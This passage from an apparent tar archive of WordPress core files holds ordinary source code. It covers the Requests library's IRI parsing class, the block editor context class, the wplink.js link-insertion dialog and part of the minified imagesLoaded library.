$j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->ihost) && empty($this->ipath)) { $this->ipath = '/'; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($this->ipath !== '' && ( $isauthority && $this->ipath[0] !== '/' || ( $this->scheme === null && !$isauthority && strpos($this->ipath, ':') !== false && (strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/')) ) ) ) { return false; } return true; } public function __wakeup() { $class_props = get_class_vars( __CLASS__ ); $string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' ); $array_props = array( 'normalization' ); foreach ( $class_props as $prop => $default_value ) { if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) { throw new UnexpectedValueException(); } elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) { throw new UnexpectedValueException(); } $this->$prop = null; } } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ protected function set_iri($iri) { static $cache; if (!$cache) { $cache = array(); } if ($iri === null) { return true; } $iri = (string) $iri; if (isset($cache[$iri])) { list($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return) = $cache[$iri]; return $return; } $parsed = $this->parse_iri($iri); $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = array($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return); return $return; } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ protected function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ protected function set_authority($authority) { static $cache; if (!$cache) { $cache = array(); } if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } if (isset($cache[$authority])) { list($this->iuserinfo, $this->ihost, $this->port, $return) = $cache[$authority]; return $return; } $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) { $port = substr($remaining, $port_start + 1); if ($port === false || $port === '') { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = array($this->iuserinfo, $this->ihost, $this->port, $return); return $return; } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ protected function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ protected function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (Ipv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ protected function set_port($port) { if ($port === null) { $this->port = null; return true; } if (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } $this->port = null; return false; } /** * Set the ipath. * * @param string $ipath * @return bool */ protected function set_path($ipath) { static $cache; if (!$cache) { $cache = array(); } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = array($valid, $removed); $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ protected function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ protected function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()}) * @return string|false URI if IRI is valid, false otherwise. */ protected function to_uri($iri) { if (!is_string($iri)) { return false; } static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($iri); while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) { $iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1); $position += 3; $strlen += 2; } return $iri; } /** * Get the complete IRI * * @return string|false */ protected function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } $iri .= $this->ipath; if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ protected function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string|null */ protected function get_iauthority() { if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) { return null; } $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null) { $iauthority .= ':' . $this->port; } return $iauthority; } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) { return $this->to_uri($iauthority); } else { return $iauthority; } } } ��������������������������������������������������������������������������class-wp-block-editor-context.php�������������������������������������������������������������������0000644�����������������00000002454�14717703502�0013057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block_Editor_Context class * * @package WordPress * @since 5.8.0 */ /** * Contains information about a block editor being rendered. * * @since 5.8.0 */ final class WP_Block_Editor_Context { /** * String that identifies the block editor being rendered. Can be one of: * * - `'core/edit-post'` - The post editor at `/wp-admin/edit.php`. * - `'core/edit-widgets'` - The widgets editor at `/wp-admin/widgets.php`. * - `'core/customize-widgets'` - The widgets editor at `/wp-admin/customize.php`. * - `'core/edit-site'` - The site editor at `/wp-admin/site-editor.php`. * * Defaults to 'core/edit-post'. * * @since 6.0.0 * * @var string */ public $name = 'core/edit-post'; /** * The post being edited by the block editor. Optional. * * @since 5.8.0 * * @var WP_Post|null */ public $post = null; /** * Constructor. * * Populates optional properties for a given block editor context. * * @since 5.8.0 * * @param array $settings The list of optional settings to expose in a given context. */ public function __construct( array $settings = array() ) { if ( isset( $settings['name'] ) ) { $this->name = $settings['name']; } if ( isset( $settings['post'] ) ) { $this->post = $settings['post']; } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wplink.js����������������������������������������������������������������������������������������0000644�����������������00000051247�14717703502�0007041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/wplink.js */ /* global wpLink */ ( function( $, wpLinkL10n, wp ) { var editor, searchTimer, River, Query, correctedURL, emailRegexp = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i, urlRegexp = /^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i, inputs = {}, rivers = {}, isTouch = ( 'ontouchend' in document ); function getLink() { if ( editor ) { return editor.$( 'a[data-wplink-edit="true"]' ); } return null; } window.wpLink = { timeToTriggerRiver: 150, minRiverAJAXDuration: 200, riverBottomThreshold: 5, keySensitivity: 100, lastSearch: '', textarea: '', modalOpen: false, init: function() { inputs.wrap = $('#wp-link-wrap'); inputs.dialog = $( '#wp-link' ); inputs.backdrop = $( '#wp-link-backdrop' ); inputs.submit = $( '#wp-link-submit' ); inputs.close = $( '#wp-link-close' ); // Input. inputs.text = $( '#wp-link-text' ); inputs.url = $( '#wp-link-url' ); inputs.nonce = $( '#_ajax_linking_nonce' ); inputs.openInNewTab = $( '#wp-link-target' ); inputs.search = $( '#wp-link-search' ); // Build rivers. rivers.search = new River( $( '#search-results' ) ); rivers.recent = new River( $( '#most-recent-results' ) ); rivers.elements = inputs.dialog.find( '.query-results' ); // Get search notice text. inputs.queryNotice = $( '#query-notice-message' ); inputs.queryNoticeTextDefault = inputs.queryNotice.find( '.query-notice-default' ); inputs.queryNoticeTextHint = inputs.queryNotice.find( '.query-notice-hint' ); // Bind event handlers. inputs.dialog.on( 'keydown', wpLink.keydown ); inputs.dialog.on( 'keyup', wpLink.keyup ); inputs.submit.on( 'click', function( event ) { event.preventDefault(); wpLink.update(); }); inputs.close.add( inputs.backdrop ).add( '#wp-link-cancel button' ).on( 'click', function( event ) { event.preventDefault(); wpLink.close(); }); rivers.elements.on( 'river-select', wpLink.updateFields ); // Display 'hint' message when search field or 'query-results' box are focused. inputs.search.on( 'focus.wplink', function() { inputs.queryNoticeTextDefault.hide(); inputs.queryNoticeTextHint.removeClass( 'screen-reader-text' ).show(); } ).on( 'blur.wplink', function() { inputs.queryNoticeTextDefault.show(); inputs.queryNoticeTextHint.addClass( 'screen-reader-text' ).hide(); } ); inputs.search.on( 'keyup input', function() { window.clearTimeout( searchTimer ); searchTimer = window.setTimeout( function() { wpLink.searchInternalLinks(); }, 500 ); }); inputs.url.on( 'paste', function() { setTimeout( wpLink.correctURL, 0 ); } ); inputs.url.on( 'blur', wpLink.correctURL ); }, // If URL wasn't corrected last time and doesn't start with http:, https:, ? # or /, prepend http://. correctURL: function () { var url = inputs.url.val().trim(); if ( url && correctedURL !== url && ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( url ) ) { inputs.url.val( 'http://' + url ); correctedURL = url; } }, open: function( editorId, url, text ) { var ed, $body = $( document.body ); $body.addClass( 'modal-open' ); wpLink.modalOpen = true; wpLink.range = null; if ( editorId ) { window.wpActiveEditor = editorId; } if ( ! window.wpActiveEditor ) { return; } this.textarea = $( '#' + window.wpActiveEditor ).get( 0 ); if ( typeof window.tinymce !== 'undefined' ) { // Make sure the link wrapper is the last element in the body, // or the inline editor toolbar may show above the backdrop. $body.append( inputs.backdrop, inputs.wrap ); ed = window.tinymce.get( window.wpActiveEditor ); if ( ed && ! ed.isHidden() ) { editor = ed; } else { editor = null; } } if ( ! wpLink.isMCE() && document.selection ) { this.textarea.focus(); this.range = document.selection.createRange(); } inputs.wrap.show(); inputs.backdrop.show(); wpLink.refresh( url, text ); $( document ).trigger( 'wplink-open', inputs.wrap ); }, isMCE: function() { return editor && ! editor.isHidden(); }, refresh: function( url, text ) { var linkText = ''; // Refresh rivers (clear links, check visibility). rivers.search.refresh(); rivers.recent.refresh(); if ( wpLink.isMCE() ) { wpLink.mceRefresh( url, text ); } else { // For the Text editor the "Link text" field is always shown. if ( ! inputs.wrap.hasClass( 'has-text-field' ) ) { inputs.wrap.addClass( 'has-text-field' ); } if ( document.selection ) { // Old IE. linkText = document.selection.createRange().text || text || ''; } else if ( typeof this.textarea.selectionStart !== 'undefined' && ( this.textarea.selectionStart !== this.textarea.selectionEnd ) ) { // W3C. text = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd ) || text || ''; } inputs.text.val( text ); wpLink.setDefaultValues(); } if ( isTouch ) { // Close the onscreen keyboard. inputs.url.trigger( 'focus' ).trigger( 'blur' ); } else { /* * Focus the URL field and highlight its contents. * If this is moved above the selection changes, * IE will show a flashing cursor over the dialog. */ window.setTimeout( function() { inputs.url[0].select(); inputs.url.trigger( 'focus' ); } ); } // Load the most recent results if this is the first time opening the panel. if ( ! rivers.recent.ul.children().length ) { rivers.recent.ajax(); } correctedURL = inputs.url.val().replace( /^http:\/\//, '' ); }, hasSelectedText: function( linkNode ) { var node, nodes, i, html = editor.selection.getContent(); // Partial html and not a fully selected anchor element. if ( /</.test( html ) && ( ! /^<a [^>]+>[^<]+<\/a>$/.test( html ) || html.indexOf('href=') === -1 ) ) { return false; } if ( linkNode.length ) { nodes = linkNode[0].childNodes; if ( ! nodes || ! nodes.length ) { return false; } for ( i = nodes.length - 1; i >= 0; i-- ) { node = nodes[i]; if ( node.nodeType != 3 && ! window.tinymce.dom.BookmarkManager.isBookmarkNode( node ) ) { return false; } } } return true; }, mceRefresh: function( searchStr, text ) { var linkText, href, linkNode = getLink(), onlyText = this.hasSelectedText( linkNode ); if ( linkNode.length ) { linkText = linkNode.text(); href = linkNode.attr( 'href' ); if ( ! linkText.trim() ) { linkText = text || ''; } if ( searchStr && ( urlRegexp.test( searchStr ) || emailRegexp.test( searchStr ) ) ) { href = searchStr; } if ( href !== '_wp_link_placeholder' ) { inputs.url.val( href ); inputs.openInNewTab.prop( 'checked', '_blank' === linkNode.attr( 'target' ) ); inputs.submit.val( wpLinkL10n.update ); } else { this.setDefaultValues( linkText ); } if ( searchStr && searchStr !== href ) { // The user has typed something in the inline dialog. Trigger a search with it. inputs.search.val( searchStr ); } else { inputs.search.val( '' ); } // Always reset the search. window.setTimeout( function() { wpLink.searchInternalLinks(); } ); } else { linkText = editor.selection.getContent({ format: 'text' }) || text || ''; this.setDefaultValues( linkText ); } if ( onlyText ) { inputs.text.val( linkText ); inputs.wrap.addClass( 'has-text-field' ); } else { inputs.text.val( '' ); inputs.wrap.removeClass( 'has-text-field' ); } }, close: function( reset ) { $( document.body ).removeClass( 'modal-open' ); wpLink.modalOpen = false; if ( reset !== 'noReset' ) { if ( ! wpLink.isMCE() ) { wpLink.textarea.focus(); if ( wpLink.range ) { wpLink.range.moveToBookmark( wpLink.range.getBookmark() ); wpLink.range.select(); } } else { if ( editor.plugins.wplink ) { editor.plugins.wplink.close(); } editor.focus(); } } inputs.backdrop.hide(); inputs.wrap.hide(); correctedURL = false; $( document ).trigger( 'wplink-close', inputs.wrap ); }, getAttrs: function() { wpLink.correctURL(); return { href: inputs.url.val().trim(), target: inputs.openInNewTab.prop( 'checked' ) ? '_blank' : null }; }, buildHtml: function(attrs) { var html = '<a href="' + attrs.href + '"'; if ( attrs.target ) { html += ' rel="noopener" target="' + attrs.target + '"'; } return html + '>'; }, update: function() { if ( wpLink.isMCE() ) { wpLink.mceUpdate(); } else { wpLink.htmlUpdate(); } }, htmlUpdate: function() { var attrs, text, html, begin, end, cursor, selection, textarea = wpLink.textarea; if ( ! textarea ) { return; } attrs = wpLink.getAttrs(); text = inputs.text.val(); var parser = document.createElement( 'a' ); parser.href = attrs.href; if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line attrs.href = ''; } // If there's no href, return. if ( ! attrs.href ) { return; } html = wpLink.buildHtml(attrs); // Insert HTML. if ( document.selection && wpLink.range ) { // IE. // Note: If no text is selected, IE will not place the cursor // inside the closing tag. textarea.focus(); wpLink.range.text = html + ( text || wpLink.range.text ) + '</a>'; wpLink.range.moveToBookmark( wpLink.range.getBookmark() ); wpLink.range.select(); wpLink.range = null; } else if ( typeof textarea.selectionStart !== 'undefined' ) { // W3C. begin = textarea.selectionStart; end = textarea.selectionEnd; selection = text || textarea.value.substring( begin, end ); html = html + selection + '</a>'; cursor = begin + html.length; // If no text is selected, place the cursor inside the closing tag. if ( begin === end && ! selection ) { cursor -= 4; } textarea.value = ( textarea.value.substring( 0, begin ) + html + textarea.value.substring( end, textarea.value.length ) ); // Update cursor position. textarea.selectionStart = textarea.selectionEnd = cursor; } wpLink.close(); textarea.focus(); $( textarea ).trigger( 'change' ); // Audible confirmation message when a link has been inserted in the Editor. wp.a11y.speak( wpLinkL10n.linkInserted ); }, mceUpdate: function() { var attrs = wpLink.getAttrs(), $link, text, hasText; var parser = document.createElement( 'a' ); parser.href = attrs.href; if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line attrs.href = ''; } if ( ! attrs.href ) { editor.execCommand( 'unlink' ); wpLink.close(); return; } $link = getLink(); editor.undoManager.transact( function() { if ( ! $link.length ) { editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder', 'data-wp-temp-link': 1 } ); $link = editor.$( 'a[data-wp-temp-link="1"]' ).removeAttr( 'data-wp-temp-link' ); hasText = $link.text().trim(); } if ( ! $link.length ) { editor.execCommand( 'unlink' ); } else { if ( inputs.wrap.hasClass( 'has-text-field' ) ) { text = inputs.text.val(); if ( text ) { $link.text( text ); } else if ( ! hasText ) { $link.text( attrs.href ); } } attrs['data-wplink-edit'] = null; attrs['data-mce-href'] = attrs.href; $link.attr( attrs ); } } ); wpLink.close( 'noReset' ); editor.focus(); if ( $link.length ) { editor.selection.select( $link[0] ); if ( editor.plugins.wplink ) { editor.plugins.wplink.checkLink( $link[0] ); } } editor.nodeChanged(); // Audible confirmation message when a link has been inserted in the Editor. wp.a11y.speak( wpLinkL10n.linkInserted ); }, updateFields: function( e, li ) { inputs.url.val( li.children( '.item-permalink' ).val() ); if ( inputs.wrap.hasClass( 'has-text-field' ) && ! inputs.text.val() ) { inputs.text.val( li.children( '.item-title' ).text() ); } }, getUrlFromSelection: function( selection ) { if ( ! selection ) { if ( this.isMCE() ) { selection = editor.selection.getContent({ format: 'text' }); } else if ( document.selection && wpLink.range ) { selection = wpLink.range.text; } else if ( typeof this.textarea.selectionStart !== 'undefined' ) { selection = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd ); } } selection = selection || ''; selection = selection.trim(); if ( selection && emailRegexp.test( selection ) ) { // Selection is email address. return 'mailto:' + selection; } else if ( selection && urlRegexp.test( selection ) ) { // Selection is URL. return selection.replace( /&|�?38;/gi, '&' ); } return ''; }, setDefaultValues: function( selection ) { inputs.url.val( this.getUrlFromSelection( selection ) ); // Empty the search field and swap the "rivers". inputs.search.val(''); wpLink.searchInternalLinks(); // Update save prompt. inputs.submit.val( wpLinkL10n.save ); }, searchInternalLinks: function() { var waiting, search = inputs.search.val() || '', minInputLength = parseInt( wpLinkL10n.minInputLength, 10 ) || 3; if ( search.length >= minInputLength ) { rivers.recent.hide(); rivers.search.show(); // Don't search if the keypress didn't change the title. if ( wpLink.lastSearch == search ) return; wpLink.lastSearch = search; waiting = inputs.search.parent().find( '.spinner' ).addClass( 'is-active' ); rivers.search.change( search ); rivers.search.ajax( function() { waiting.removeClass( 'is-active' ); }); } else { rivers.search.hide(); rivers.recent.show(); } }, next: function() { rivers.search.next(); rivers.recent.next(); }, prev: function() { rivers.search.prev(); rivers.recent.prev(); }, keydown: function( event ) { var fn, id; // Escape key. if ( 27 === event.keyCode ) { wpLink.close(); event.stopImmediatePropagation(); // Tab key. } else if ( 9 === event.keyCode ) { id = event.target.id; // wp-link-submit must always be the last focusable element in the dialog. // Following focusable elements will be skipped on keyboard navigation. if ( id === 'wp-link-submit' && ! event.shiftKey ) { inputs.close.trigger( 'focus' ); event.preventDefault(); } else if ( id === 'wp-link-close' && event.shiftKey ) { inputs.submit.trigger( 'focus' ); event.preventDefault(); } } // Up Arrow and Down Arrow keys. if ( event.shiftKey || ( 38 !== event.keyCode && 40 !== event.keyCode ) ) { return; } if ( document.activeElement && ( document.activeElement.id === 'link-title-field' || document.activeElement.id === 'url-field' ) ) { return; } // Up Arrow key. fn = 38 === event.keyCode ? 'prev' : 'next'; clearInterval( wpLink.keyInterval ); wpLink[ fn ](); wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity ); event.preventDefault(); }, keyup: function( event ) { // Up Arrow and Down Arrow keys. if ( 38 === event.keyCode || 40 === event.keyCode ) { clearInterval( wpLink.keyInterval ); event.preventDefault(); } }, delayedCallback: function( func, delay ) { var timeoutTriggered, funcTriggered, funcArgs, funcContext; if ( ! delay ) return func; setTimeout( function() { if ( funcTriggered ) return func.apply( funcContext, funcArgs ); // Otherwise, wait. timeoutTriggered = true; }, delay ); return function() { if ( timeoutTriggered ) return func.apply( this, arguments ); // Otherwise, wait. funcArgs = arguments; funcContext = this; funcTriggered = true; }; } }; River = function( element, search ) { var self = this; this.element = element; this.ul = element.children( 'ul' ); this.contentHeight = element.children( '#link-selector-height' ); this.waiting = element.find('.river-waiting'); this.change( search ); this.refresh(); $( '#wp-link .query-results, #wp-link #link-selector' ).on( 'scroll', function() { self.maybeLoad(); }); element.on( 'click', 'li', function( event ) { self.select( $( this ), event ); }); }; $.extend( River.prototype, { refresh: function() { this.deselect(); this.visible = this.element.is( ':visible' ); }, show: function() { if ( ! this.visible ) { this.deselect(); this.element.show(); this.visible = true; } }, hide: function() { this.element.hide(); this.visible = false; }, // Selects a list item and triggers the river-select event. select: function( li, event ) { var liHeight, elHeight, liTop, elTop; if ( li.hasClass( 'unselectable' ) || li == this.selected ) return; this.deselect(); this.selected = li.addClass( 'selected' ); // Make sure the element is visible. liHeight = li.outerHeight(); elHeight = this.element.height(); liTop = li.position().top; elTop = this.element.scrollTop(); if ( liTop < 0 ) // Make first visible element. this.element.scrollTop( elTop + liTop ); else if ( liTop + liHeight > elHeight ) // Make last visible element. this.element.scrollTop( elTop + liTop - elHeight + liHeight ); // Trigger the river-select event. this.element.trigger( 'river-select', [ li, event, this ] ); }, deselect: function() { if ( this.selected ) this.selected.removeClass( 'selected' ); this.selected = false; }, prev: function() { if ( ! this.visible ) return; var to; if ( this.selected ) { to = this.selected.prev( 'li' ); if ( to.length ) this.select( to ); } }, next: function() { if ( ! this.visible ) return; var to = this.selected ? this.selected.next( 'li' ) : $( 'li:not(.unselectable):first', this.element ); if ( to.length ) this.select( to ); }, ajax: function( callback ) { var self = this, delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration, response = wpLink.delayedCallback( function( results, params ) { self.process( results, params ); if ( callback ) callback( results, params ); }, delay ); this.query.ajax( response ); }, change: function( search ) { if ( this.query && this._search == search ) return; this._search = search; this.query = new Query( search ); this.element.scrollTop( 0 ); }, process: function( results, params ) { var list = '', alt = true, classes = '', firstPage = params.page == 1; if ( ! results ) { if ( firstPage ) { list += '<li class="unselectable no-matches-found"><span class="item-title"><em>' + wpLinkL10n.noMatchesFound + '</em></span></li>'; } } else { $.each( results, function() { classes = alt ? 'alternate' : ''; classes += this.title ? '' : ' no-title'; list += classes ? '<li class="' + classes + '">' : '<li>'; list += '<input type="hidden" class="item-permalink" value="' + this.permalink + '" />'; list += '<span class="item-title">'; list += this.title ? this.title : wpLinkL10n.noTitle; list += '</span><span class="item-info">' + this.info + '</span></li>'; alt = ! alt; }); } this.ul[ firstPage ? 'html' : 'append' ]( list ); }, maybeLoad: function() { var self = this, el = this.element, bottom = el.scrollTop() + el.height(); if ( ! this.query.ready() || bottom < this.contentHeight.height() - wpLink.riverBottomThreshold ) return; setTimeout(function() { var newTop = el.scrollTop(), newBottom = newTop + el.height(); if ( ! self.query.ready() || newBottom < self.contentHeight.height() - wpLink.riverBottomThreshold ) return; self.waiting.addClass( 'is-active' ); el.scrollTop( newTop + self.waiting.outerHeight() ); self.ajax( function() { self.waiting.removeClass( 'is-active' ); }); }, wpLink.timeToTriggerRiver ); } }); Query = function( search ) { this.page = 1; this.allLoaded = false; this.querying = false; this.search = search; }; $.extend( Query.prototype, { ready: function() { return ! ( this.querying || this.allLoaded ); }, ajax: function( callback ) { var self = this, query = { action : 'wp-link-ajax', page : this.page, '_ajax_linking_nonce' : inputs.nonce.val() }; if ( this.search ) query.search = this.search; this.querying = true; $.post( window.ajaxurl, query, function( r ) { self.page++; self.querying = false; self.allLoaded = ! r; callback( r, query ); }, 'json' ); } }); $( wpLink.init ); })( jQuery, window.wpLinkL10n, window.wp ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/imagesloaded.min.js������������������������������������������������������������������������������0000644�����������������00000012775�14717703502�0010740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ /*! * imagesLoaded PACKAGED v4.1.4 * JavaScript is all like "You images are done yet or what?" * MIT License */ !function(e,t){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",t):"object"==typeof module&&module.exports?module.exports=t():e.EvEmitter=t()}("undefined"!=typeof window?window:this,function(){function e(){}var t=e.prototype;return t.on=function(e,t){if(e&&t){var i=this._events=this._events||{},n=i[e]=i[e]||[];return n.indexOf(t)==-1&&n.push(t),this}},t.once=function(e,t){if(e&&t){this.on(e,t);var i=this._onceEvents=this._onceEvents||{},n=i[e]=i[e]||{};return n[t]=!0,this}},t.off=function(e,t){var i=this._events&&this._events[e];if(i&&i.length){var n=i.indexOf(t);return n!=-1&&i.splice(n,1),this}},t.emitEvent=function(e,t){var i=this._events&&this._events[e];if(i&&i.length){i=i.slice(0),t=t||[];for(var n=this._onceEvents&&this._onceEvents[e],o=0;o<i.length;o++){var r=i[o],s=n&&n[r];s&&(this.off(e,r),delete n[r]),r.apply(this,t)}return this}},t.allOff=function(){delete this._events,delete this._onceEvents},e}),function(e,t){"use strict";"function"==typeof define&&define.amd?define(["ev-emitter/ev-emitter"],function(i){return t(e,i)}):"object"==typeof module&&module.exports?module.exports=t(e,require("ev-emitter")):e.imagesLoaded=t(e,e.EvEmitter)}("undefined"!=typeof window?window:this,function(e,t){function i(e,t){for(var i in t)e[i]=t[i];return e}function n(e){if(Array.isArray(e))return e;var t="object"==typeof e&&"number"==typeof e.length;return t?d.call(e):[e]}function o(e,t,r){if(!(this instanceof o))return new o(e,t,r);var s=e;return"string"==typeof e&&(s=document.querySelectorAll(e)),s?(this.elements=n(s),this.options=i({},this.options),"function"==typeof t?r=t:i(this.options,t),r&&this.on("always",r),this.getImages(),h&&(this.jqDeferred=new h.Deferred),void setTimeout(this.check.bind(this))):void a.error("Bad element for imagesLoaded "+(s||e))}function r(e){this.img=e}function s(e,t){this.url=e,this.element=t,this.img=new Image}var h=e.jQuery,a=e.console,d=Array.prototype.slice;o.prototype=Object.create(t.prototype),o.prototype.options={},o.prototype.getImages=function(){this.images=[],this.elements.forEach(this.addElementImages,this)},o.prototype.addElementImages=function(e){"IMG"==e.nodeName&&this.addImage(e),this.options.background===!0&&this.addElementBackgroundImages(e);var t=e.nodeType;if(t&&u[t]){for(var i=e.querySelectorAll("img"),n=0;n<i.length;n++){var o=i[n];this.addImage(o)}if("string"==typeof this.options.background){var r=e.querySelectorAll(this.options.background);for(n=0;n<r.length;n++){var s=r[n];this.addElementBackgroundImages(s)}}}};var u={1:!0,9:!0,11:!0};return o.prototype.addElementBackgroundImages=function(e){var t=getComputedStyle(e);if(t)for(var i=/url\((['"])?(.*?)\1\)/gi,n=i.exec(t.backgroundImage);null!==n;){var o=n&&n[2];o&&this.addBackground(o,e),n=i.exec(t.backgroundImage)}},o.prototype.addImage=function(e){var t=new r(e);this.images.push(t)},o.prototype.addBackground=function(e,t){var i=new s(e,t);this.images.push(i)},o.prototype.check=function(){function e(e,i,n){setTimeout(function(){t.progress(e,i,n)})}var t=this;return this.progressedCount=0,this.hasAnyBroken=!1,this.images.length?void this.images.forEach(function(t){t.once("progress",e),t.check()}):void 